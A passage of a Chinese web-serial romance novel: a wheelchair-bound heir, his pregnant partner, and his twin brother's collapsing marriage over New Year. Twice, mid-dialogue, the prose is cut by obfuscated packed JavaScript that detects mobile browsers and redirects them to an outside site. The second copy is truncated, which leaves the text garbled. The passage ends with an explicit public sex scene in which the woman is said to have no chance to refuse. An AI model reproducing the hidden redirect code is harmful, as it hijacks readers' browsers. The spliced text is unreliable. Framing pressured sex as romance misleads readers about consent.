姜迟夏心梗,把他的手抓起来,放在自己胸口,“要不你把我的心掏出来看一眼?我都表现这么明显了,你还觉得我喜欢李长愠?” 他抬眼注视着她有些生气的眼,“虽然你现在对他感情淡了,但也不是没有,你知道我这人一向霸道,看到哪个男的对你好我都生气,你别见他好不好?” 姜迟夏败了,“我觉得我可能得找个良辰吉日跟你说一下我的情况,但显然现在不适合,那就等一个合适的机会,我好好跟你解释解释。” 他嗯一声,“好。” 姜金驰已经把他的东西拿到小套房去了,出来时他姐和姐夫还在手拉手说话,姜金驰问,“你俩不吃饭啊?聊天聊饱了?” 李长尽看向他,“他们到了?” 姜金驰不知道,“郭管家说到了,过会儿一起吃饭。” 李长尽拒绝,“我和你姐都不去,你要是想去,你可以去看一眼,我弟跟我长得一模一样。” 姜金驰还没见过李长尽这个弟弟,他好奇极了,“真的啊?那怎么区分你俩啊?” 李长尽,“……” 姜迟夏疑惑,“这还不清楚吗?截然不同的两个人,有什么不好区分的?” 姜金驰问,“两张一模一样的脸,姜迟夏,你当初是怎么在两张这么帅的脸中选中长尽哥的?” 李长尽忽而自嘲一笑,“你姐当初第一眼看上的也不是我,是我弟,我哪有那本事。” 姜金驰,“……” 姜迟夏,“……” 李长尽叹息,“好了,他来了,我又要被冷落了。” 姜迟夏指了指外面,“姜金驰你先去看李长愠,我有点事想跟你姐夫解决一下。” 姜金驰一听他姐的语气就不对,哦了声之后,转身往客厅外走,一边走一边问,“需要给你们把门关上吗?” 姜迟夏说,“关上,锁死,我要家暴了。别让其他人听到这里的声音。” 姜金驰警告一声,“你悠着点啊,小心把他打死了。” 姜迟夏,“……” 姜金驰出去把门关上了之后,姜迟夏才咬牙切齿地跟李长尽算账。 “我做的一切白瞎了,李长尽,你到现在还以为我喜欢你弟,你说说,我做什么你才会觉得我心里的人是你?” 他有些恍惚。 “现在是我,那以前呢?是因为李长愠结婚了,你没希望了,所以才试着和我相处,因为没有机会了,是吗?” 姜迟夏要被他气死了。 “你一点都没变,李长尽,就爱钻牛角尖,我也不想跟你解释太多,因为说什么都没用,是不是只有上你的时候,你才觉得我是爱你的?” “……” “那既然这样的话,我以后天天上你,你可别叫苦。” “……你好癫,不过三天一次就行,多了吃不消。” “不行,必须一天一次,赏你的,免得你有那么多时间胡思乱想。” 69. 秀恩爱 即使李长尽不去见李长愠,也不想让姜迟夏见李长愠,但李长愠还是要带着妻儿来看看他的。 毕竟是他哥,再不是人,也得看看他的身体缓的怎么样了。 姜金驰第一次见李长愠,真的被这兄弟俩吓到,不管是身高还是一张脸,真的一模一样,也就只有打扮穿着和发型不一样。 不过能从李长愠说话的语气中感受出他和李长尽的不同,李长愠说话温温柔柔的,没有李长尽的那股子迫人的韵味。 李长愠也是第一次见姜金驰,看着这个大男孩好奇地在不远处看了他半天,李长愠还是抱着儿子走过去问他,“请问你是?” 姜金驰一双眼睛都瞪大了,“你是长尽哥的弟弟?你俩真的一模一样啊……” 李长愠懂了,“你是他朋友,他现在在哪里?” 姜金驰指了指观景台,“他在上面房间里。”转而视线落在他怀里的小孩身上,黑溜溜的大眼睛,和他爸爸的很像。 紧接着一个漂亮的女人也从那边出来了,郭悠止跟着,刚把行李箱放在了姜金驰腾出来的套房里。 姜金驰便知道她是李长愠老婆。 郭悠止上前从他怀里接过李植,在前面带路,“大少爷在上面,到他面前之后,不该说的话就别说,免得惹他生气,他一生气,大家都别想好过。” 李长愠自然知道他哥的脾气,“放心吧,就是看他一眼,没打算跟他说多少话。” 彦时念看了姜金驰半天,没理会,因为不认识。 姜金驰在后面跟着进了电梯,李长愠疑惑地问郭悠止,“这位是谁啊?我哥在这边的朋友?” 郭悠止刚想介绍,电梯就到了,“待会儿你就知道了。” 李植抓着郭悠止的脸玩儿,笑的格外开心。 “郭爷爷,好玩吗?” 郭悠止笑的乐呵呵。 “好玩好玩,你这小手啊,可真有力气,给爷爷捏疼了。” 李植三岁多了,奶团子一个,别提多可爱。 郭悠止一边往走廊尽头走一边喊,“大少爷,他们都来了。” 李长尽一听都来了,缓了缓怒气,让姜迟夏回卧室,“你去卧室待着,我把这几个瘟神打发了。” 姜迟夏也不跟他计较,拿了几个水果就去卧室吃了,将卧室的门关起来。 李长尽是真怕她和李长愠见面啊,反正说什么都不信,看来那些年她为了气他,说把他当替身的话,在心里根深蒂固。 不一会儿就听到好多人进来了,一个奶声奶气的声音先传了进来。 “大伯伯,植植来看你啦。” 姜迟夏被这一声萌化了,本来不打算出去的人,顿时将手里的水果放下,将卧室的门打开一条缝,看向了客厅。 郭悠止抱着一个三岁多的奶团子走向了李长尽,将他放地上之后,奶团子直接往李长尽怀里扑。 姜迟夏的心怦怦乱跳,关键是李长尽还没推开,很顺手就接住了,把他抱了起来。 “植植怎么来这里了?” 奶团子抱着李长尽又亲又摸的。 小手在李长尽脸上乱摸。 “想大伯伯了。” 姜迟夏惊讶了,李长尽竟然还挺有小孩缘。 李长愠夫妻坐在了一边的沙发上,郭悠止给他们倒茶,姜金驰看了一圈没看到他姐,问李长尽,“我姐呢?” 李长尽这才将植植放下来,没理会姜金驰的话,看向李长愠夫妻,“你俩来我这里干什么?” 李长愠言语清淡,“爸让我们来看看你,怕你一个人在这里过年无聊。” 李长尽对待这夫妻俩的态度和对李植不一样,他冷眼看着这对夫妻,“不需要,我一个人过年也挺好,既然都看了,赶紧带着植植回家吧。” 李长愠没理他,又看了一眼姜金驰,发现眉眼之间和姜迟夏还是有点相似的,他问姜金驰,“你姐是姜迟夏?” 姜金驰坐在了一边,点头,“嗯,你也认识我姐。” 李长愠笑了笑,“何止认识,以前经常一起做作业呢。” 李长尽,“……” 彦时念的目光一直在李长尽身上没移开过,植植闹着要李长尽抱,郭悠止上去把他抱走了。 “植植要乖啊,大伯伯腿疼,抱不了植植,我抱你好不好?” 植植哭闹着挣脱郭悠止,几步跑到李长尽身边,靠着李长尽不走了。 姜迟夏感慨,李长尽虽然不待见他弟那对夫妻,但对这个李家的小少爷倒是很宠啊,和不然这小孩怎么可能喜欢他? 姜迟夏悄悄地将门关起来。 李长愠看向他哥,“所以夏夏在哪里?” 李长尽言语沉冷,“睡着了,你别打扰。” 姜金驰,“……” 看了半天之后姜金驰反应过来了,这对兄弟是在明争暗斗啊,为了他姐? 我勒个去,他姐可真牛掰,就跟着妈去北城住了几年,把李家两个少爷迷成这样? 李长愠孩子都这么大了,李长尽还这么敌视他? 没必要吧? 他再次觉得姜迟夏有两把刷子。 姜金驰想笑,忍住了,拿出手机来玩游戏,也不掺和他们的恩怨。 彦时念想说什么,到底一句话都没说,看着李长尽把李植抱起来,她看李长尽的眼神都要温柔滴水了。 李长愠自然也发现了,觉得好笑,但不想在李长尽面前闹,索性也就当没看见。 李长愠没话找话,“身体恢复的还好吧?” 李长尽每一句话都带刺,“还行,你嫂子把我照顾的挺好的,你也别假惺惺了,我不行了不是正好如你愿。” 李长愠,“……”李长尽这种人是真让人无语,李长愠也不跟他计较了,“我以后学业会很繁忙,没时间跟你争李家了,我的志向现在是科研所,李家那些琐碎的事情我是管不过来,那就交给你了。” 李长尽冷嗤一声,“没本事就不要什么都想要,好好做你的研究,都跟你说了,你在这方面不如我。” 李长愠承认,“我确实不如你,可是又怎么样呢?我又不是没有出路。” 李长尽说,“那就好好搞你的学业吧,不该惦记的也别惦记。” 李长愠问,“我惦记什么了?我什么都没惦记,现在我也有了孩子,我没什么不满。” 李长尽点头,“确实,植植很可爱,比你可爱多了。既然都当了父亲,那就当个像样的父亲,不为你自己想,你也得为孩子着想,你夫妻俩的事我不想管,但我今天还是要说一句,别离婚。” 李长愠冷笑,看了彦时念一眼,转头问她,“还有必要过下去吗?你看他确实很喜欢你的孩子,你当初把我当成李长尽,我都忍了,可现在呢?李家的一切都跟我没关系了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954170|134778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你还想跟我过吗?” 一直没说话的彦时念终于开口了,“随便你,怎么样都行。” 李长愠看向李长尽,“你听到了吧,都这样了,在一起还有什么意义?” 李长尽将李植放下来,转头朝卧室叫了一声,“老婆,睡醒了吗?” 姜迟夏被他这一声“老婆”吓到,正专注吃瓜呢,突然被cue。 姜迟夏心情复杂,没理会,李长尽转动轮椅去敲卧室的门,“醒来了,来客了。” 姜迟夏无言地下床给他打开门,眼神里都是疑问,她压低声音,“你搞什么名堂?” 李长尽拉着她的手,“当然是秀恩爱了。” 姜迟夏,“……” 姜迟夏不想去,被他拽着出了卧室门,还要假装自己刚睡醒。 “我还没睡醒,叫我干什么?” 假装打个哈欠,帮李长尽推轮椅。 看到李长愠夫妻的时候,姜迟夏瞬间戏精附身,打哈欠的动作僵住。 “二少爷?二少奶奶?你们怎么来了?” 李长愠看到她的时候眼神都亮了,“夏夏,你还真在这啊。” 在一边玩手机的姜金驰,“……” 哦豁,真热闹。 他也回头看一眼姜迟夏,姜迟夏穿着长裙,外面披着外套,隐约能看到她微微隆起的肚子。 李长愠知道她怀孕的事情,只是当时姜迟夏说会做掉这个孩子,没想到竟然没做。 李长愠朝她小腹看了一眼,李长尽故意让她别做什么大幅度动作。 “慢点,别伤到我的宝贝了。” 彦时念看到姜迟夏就来气,当初要不是这个家伙,她和李长尽都结婚了。 李植又朝着李长尽跑过去,姜迟夏看着他,眼睛都直了。 “好可爱的小少爷,来给姨姨抱抱。” 姜迟夏想抱抱他,被李长尽阻止了。 “你不方便,抱什么抱,以后抱你自己的。” “……李长尽,你蛮不讲理。” “有什么好抱的,累到了怎么办?” 李长尽自己抱着植植往那边移动。 姜迟夏跟在他后面,他把李植抱给李长愠,又去拉姜迟夏的手,把她拉到自己腿上坐下。 姜迟夏想走开,被他按在腿上,他一只手轻轻抚摸她的小腹,“别动。” 周围一群人看着,姜迟夏再不要脸也受不了。 脸霎时就红了,又挣扎了几下,李长尽双臂圈住她的腰,“你小心我的崽,老婆。” 姜金驰都看呆了,嘴巴张成了O型。 李长尽不动声色,笑着看向李长愠,“你们现在看过了,我确实过得挺好,可以走了吗?” 彦时念什么话都没说,抱着李植就走了,李植还在喊大伯伯和爸爸。 李长愠也没心情待了,也起身准备离去,走了几步又回头问姜迟夏,“你自己来找他的?” 姜迟夏没说话,李长尽低眼看着她,“说话。” 姜迟夏尴尬地笑了笑,“偶遇,纯属偶遇。” 李长愠脸色十分难看,再什么都没说,抬步走了。 李长尽不满地问她,“什么叫偶遇?”他一手捏住她的下巴,让她看他的眼睛,眼神沉冷,“来你跟我说说,什么叫偶遇?” 姜金驰在一边警告,“我还在这呢,你俩注意尺度。” 70. 跨年 晚上的时候李长愠和彦时念两个就吵起来了,动静闹得特别大。 郭悠止去拉架,小少爷被吓得哇哇大哭,他把李植抱到李长尽那里去,回去继续拉架,劝慰。 李长尽哄着李植,告诉郭悠止,“让他俩滚出去吵,别在我这里丢人现眼。” 郭悠止也是服了,应下之后,把李长尽的话给李长愠夫妻带过去。 姜迟夏刚陪着李长尽吃完饭,还想着让李长尽安静会儿,结果李长愠夫妻这就吵起来了。 姜金驰在房间里打游戏,也没出来,李长尽在客厅里哄李植,李植哭的一双黑葡萄似的大眼睛都红了,他委屈地扁着嘴,眼泪还在往下掉。 奶声奶气的声音特别委屈,“大伯伯,爸爸妈妈吵架,不理植植。” 李长尽抱着他,给他擦眼泪,“他们都是坏人,我理植植,咱们不跟他们玩儿。” 李植红着眼眶点头,姜迟夏拿着一颗糖出来,朝他俩走过去。 “植植不哭,姨姨给你糖吃。” 李植没接,只是疑惑地看着她,显然不认识她。 奶团子可怜巴巴地看着她,“植植不吃糖,会蛀牙。” 姜迟夏一怔,点头,坐在一边,剥开糖自己吃。 “确实会蛀牙,那我自己吃。” 植植就看着她的动作,显然很想吃,姜迟夏刚要放嘴里,见他一直看着,便喂给他。 “没事,就吃一颗,睡觉的时候刷牙就好了,好不好?” 李植又看向李长尽。 李长尽看着他点头,“姨姨给的,可以吃。” 李植这才从姜迟夏手里接过了橙子味的糖,喂到了嘴里。 姜迟夏感慨,“你家教育孩子都和别人家不一样,他好懂事。” 李长尽这种人竟然对小孩还挺好,姜迟夏觉得他确实变了很多。 他一边给植植擦嘴,一边回答她,“这个孩子以后的日子也不好过,看看他那两个丢人现眼的父母。” 姜迟夏双手撑着脸看着他,“李长尽,我发现你是个好爸爸诶。” 李长尽侧头看她一眼,“你从哪里看出来的?” 姜迟夏笑着回答,“从你对植植的态度中看出来的,你虽然不喜欢他的父母,可没有不喜欢他,你很喜欢小孩啊?” 李长尽言语轻柔,“他又没什么错,我讨厌他没什么意义,他还小,我在家休养那半年,他一直往我房间跑,有什么好玩的都给我拿来,以为我是他爸爸。” 姜迟夏感慨,“真好,看来我白担心你了,你在家过得很好,还有这样小天使陪你玩儿。” 李长尽把李植哄住了,他自己吃糖后,爬下李长尽的腿,自己去玩了,李长尽这才转动轮椅靠近姜迟夏。 李长尽叮嘱他,“植植不要乱跑,要听话。” 李植嘴里含糊不清,“呜,好哒。” 李长尽这才看向她,“所以我以后可以帮你带孩子,你还不考虑跟我结婚?” 姜迟夏拉住他的手,从他指尖划到手背,他的手真的很好看,修长匀称。 “我又不是不会带,还得你给我带啊?” “我带孩子你放心,我很细心的。” 她看向他那双好看的眸,看了几秒,又笑了。 “莫名觉得你懂事了,和以前不一样了。” “那肯定不一样了,现在稳重了。” “李长尽,你喜欢男孩还是女孩?” 他回答的毫不犹豫。 “女孩。” “为什么?” “要是生个像我这样的儿子,我会被气死。” “哈哈哈哈,李长尽,你真的是揣着明白不干人事,你自己也知道啊?” 李长尽情绪淡然,神色都没变一下。 “我自然知道,我心里明白得很,就是故意的。” “要是女儿也不听话呢?像我这种的,把我妈往死里气。” 李长尽望着她亮晶晶的眸,摇头。 “你一直很听话,是我把你带坏了,所以交朋友要谨慎,我女儿以后可不能交我这种朋友。” 姜迟夏实在憋不住,笑声吓到了李植,李植又噔噔噔跑过来,一头扎在李长尽怀里。 姜迟夏收敛自己夸张的笑声,“真是服了,什么都知道,就是喜欢和人对着干,李长尽你真的很神经。” 李长尽摸摸李植的小脑袋,“现在不会了,以前内心比较脆弱,现在很强大了。” 姜迟夏点头,“那不错,以后就做个人,多做点人事。” 李长尽应着,“行。” 郭悠止劝不住李长愠夫妻了,电话打过来叫李长尽,“大少爷你快来看看吧,要死不活的,我管不了了!” 李长尽真不想管,“让他俩都去死,以后植植我养。” 郭悠止,“……” 姜迟夏,“……” 李植一听,又开始哭,“呜呜呜,没人要植植。” 李长尽把电话挂断,又开始哄孩子。 姜迟夏叹息一声,“去看一眼吧,你好歹是哥哥,你的话他俩还听点。” 李长尽是真的烦,“我待的好好的,他俩非要过来给我找麻烦,是看我活的太久了吗?” 姜迟夏拍拍他的肩膀,“好了不要生气,我陪你去看看,你去当着面骂他们。” 姜迟夏喊弟弟,“姜金驰,你别玩游戏了,都快闹翻天了。” 姜金驰把门打开看一眼,“关我什么事?我和他们又不熟。” 姜迟夏说,“你也去一趟,你抱植植,我扶你姐夫。” 姜金驰哦了声,退了游戏,出来把门关上,走过去朝植植张开怀抱。 “来哥哥抱着你。” 李植摇头,抱住李长尽的脖子不放了。 李长尽说,“算了,我抱着,你帮我推轮椅。” 姜金驰只得推轮椅,姜迟夏起身跟上,李长尽叮嘱她,“你自己走路小心点。” 姜迟夏让他放心,“别担心我。” 抱着植植去一区别墅区,老远就听到噼里啪啦的,从没听到过李长愠这么大的声音。 他在骂彦时念,“我这几年对你不好吗?我对你够好了,我就想安稳过日子有什么错,你非要逼我,非要闹到离婚的程度你就开心了?” 彦时念反问,“那你呢?你也没喜欢过我不是吗?你有本事指责我,你有本事承认自己这几年的心思吗?你们两兄弟,怎么都这么贱啊?” 李长愠咬牙切齿地指着彦时念骂着,“骂我就行了,你那张破嘴能不能积点德?” 彦时念哭,李长愠也哭,夫妻俩没有一个饶人的。 李长尽将李植递给迎上来的郭悠止,自己站起来朝着他俩的房间走去。 姜金驰跟在后面,害怕他摔了,“哥,你别激动,小心点。” 房门关着,李长尽示意姜金驰,“把门给我踹开。” 姜金驰一愣,没敢踹,规规矩矩敲门,被李长愠一声吼住了。 “滚!都别来!” 李长尽让郭悠止去前台拿备用房卡,郭悠止去拿了,周围吃瓜群众已经驻足了。 李长尽拿了房卡刷了一下,房门开了,他推开房门,发现套房里已经乱成一团,房间能摔的已经全部摔了。 他啧了一声,“在家里怕老头子骂,跑来我这里发疯?你俩还真会挑地方。” 李长愠看到李长尽来了,也是一句话也不敢说了。 彦时念看到李长尽,更委屈了,一下子就哭出声来。 李长尽看她一眼,“既然跟着李长愠这么委屈,那就离婚啊,等什么呢?等刀子呢?” 彦时念哭的肩膀都在抖,“李长尽,你这辈子都欠我的。” 李长尽冷笑一声,“我欠你妈,老子当初瞎了眼了救你这种东西,你他妈再撒泼就滚远点知道吗?一个大家闺秀,跟丈夫吵架,把孩子放在一边不管,这是彦家的家教?” 彦时念被骂的一声都没回,就只顾着哭。 李长尽转头又骂李长愠,“你也是个出息的,以前的好脾气去哪了?跟一个女人在这里吵?嫌你李家不够丢人?丢在北城就算了,跑来港城丢李家的脸,李兴澜教你的?” 李长愠咬着牙没答话,李长尽警告他俩,“你俩要死赶紧去死,再吵我就找人把你俩轰出去了,前面就是海,我在外面等着给你俩收尸,放心吧,植植我会养大的,你俩也不用担心这个孩子会被亏待。” 骂了一通之后,李长尽出去了,门也没关,夫妻俩终于闭嘴了,没一个出声的了。 李长尽这是被气无语了,姜迟夏走过去扶住他坐上轮椅,姜金驰推着他往外走,一群人都看着他们。 郭悠止抱着小少爷站在那里,终于舒口气。 他们出去就在外面等着,果然再也没听到夫妻俩的声音。 姜迟夏实在想笑,“李长尽你骂人还是这么厉害啊,威力不减当年,哈哈哈。” 姜金驰也服了,“第一次见长尽哥骂人,我以为他不会。” 姜迟夏告诉他,“你是没见他高中时期,那真的没人敢跟他对骂,一言不合就打人,跟老师都敢动手,只要有他在班级里,几乎没人觉得好受,都没人跟他当同桌,只有可怜的我。” 姜金驰震惊,“我哥以前这么牛的吗?连老师都敢打?” 姜迟夏表示,“家常便饭,我妈天天因为他被老师骂,他爸和后妈又不去挨骂,只能我妈去了,要不是我和我妈走了,李长尽现在是个什么样的人都不知道。” 李长尽让她别揭短了,“你又在损坏我的形象了姜迟夏。” 姜迟夏问,“我说的是假话吗?你敢说没有?今天要不是你身体不方便,李长愠估计都得被你揍一顿。” 姜金驰佩服李长尽,也佩服他姐,“你竟然敢喜欢这种问题学生,说真的,我要是高中时期遇到长尽哥,他应该会被我列入姐夫黑名单。你也是很厉害啊姜迟夏。” 李长尽,“……” 姜迟夏又说,“不过,他那时候对我挺好的,不管多讨人厌,对我一直都挺好,不然他怎么可能来我家玩儿?” 姜金驰问,“不会那时候长尽哥就喜欢姜迟夏了吧?我记得你俩高三暑假,长尽哥去我家玩的时候,他就喜欢你了。” 李长尽尴尬地咳一声,“别说了,陈年旧事有什么好说的,等那俩夫妻出来跳海。” 姜迟夏和姜金驰,“……” 那俩夫妻没出来跳海,也不再吵闹了,等了十多分钟,郭悠止出来了,他擦了擦额头的冷汗。 “好了,不吵了,还得大少爷说一声才行,不然都不知道要闹成什么样。” 李长尽见他们不吵了,便也不管了,带着姜迟夏去海边走一走。 转眼除夕了,李长尽给姜迟夏定的戒指也在除夕这天收到了。 这些日子,他很照顾姜迟夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李长尽言语清淡,“和上次的差不多。” 姜迟夏感慨,“你真奢侈啊李长尽,我要这么多戒指干什么?” 他京腔温柔缱绻,“换着戴,就是玩儿。” 他把她拉过来,从她手中把戒指拿过去,将她的右手抓过来,把戒指给她戴到无名指上。 “不准摘,一直戴着。” 姜迟夏举起自己的手看看,感觉那颗宝石在昏暗的光芒下好闪。 “我又占便宜了。” 李长尽把她拉到自己腿上坐下,“占什么便宜?我的就是你的。你歇会儿,不累吗?” 姜迟夏摇头,低头继续看自己的戒指,看了会儿之后,转头去亲李长尽。 李长尽往后一仰,躲开了,“主动送吻?” 姜迟夏按住他的后脑勺不让他退,“我没什么好送你的,只能亲你一口了。” 李长尽轻笑一声,再没躲,等着她吻上来。 姜迟夏现在吻李长尽已经很熟练了,怎么舒服怎么来。 远处大家欢声笑语都在看烟花,等着零点跨年。 这安静的一处,他俩吻的难舍难分。 吻了一会儿李长尽就不行了,他轻轻地分开她的腿,让她跨坐在他的腿上。 姜迟夏背对着人群,面对着李长尽坐着,整个人的重量都在李长尽身上。 她有点担心,“你的腿不会很疼吗?我可重了。” 李长尽的呼吸滚烫,声音低沉暗哑,一手解了皮带,“不疼,都说老婆坐的,不疼。” 姜迟夏一颗心在他面前怦怦乱跳,感觉他的手拨开了她的底裤。 她被吓到,眼睛都瞪大了,“你疯了?这是在外面啊。” 李长尽把她按在怀里,胸膛起伏有点剧烈,“没事,他们都看不见,这里比较黑,没人注意这里。又是一年过去了,姜迟夏。” 姜迟夏不断呼吸,被他的行为吓得发抖,可没她拒绝的机会,李长尽自顾自挤进去。 姜迟夏出一口长气,抱紧他,他把西服外套脱下来披在她身上。 身后烟花炸开,姜迟夏伏在他怀里都不敢动,动一下都觉得他骇人的地方,越来越凶。 他在她耳边低语,像淬毒的咒语,“别紧张,真没人。” 姜迟夏咽了咽唾沫,枕在他怀里,“你比我疯,我只敢在房间里这么对你,你竟然敢在外面。看来你的腿是真不疼了。” 哪能不疼,但抱老婆的话,再疼也不疼了。 李长尽的手轻轻地拍着她的背,“突然想要,谁让你亲我?” 姜迟夏不说话,李长尽自己动着腰,她感觉李长尽彻底是她的了,被她尽数纳入。 李长尽听着她在怀中小声嘤咛,不敢出声。 “没事,你可以发出声来,除了我,没人听得到,烟花声把你的声音掩盖了。” 姜迟夏一阵一阵出长气,就是不出声,“你别癫,不要说话。” 李长尽的大手按在她背上的长发上,低笑出声,“姜迟夏,新鲜吗?还跟我熟不熟了?” 姜迟夏小声问,“有什么新鲜的?被人发现,脸别要了。” 李长尽侧首吻一下她的耳骨,压低声音,“别人都在跨年,你却在跨我,我好跨吗?” 姜迟夏,“……”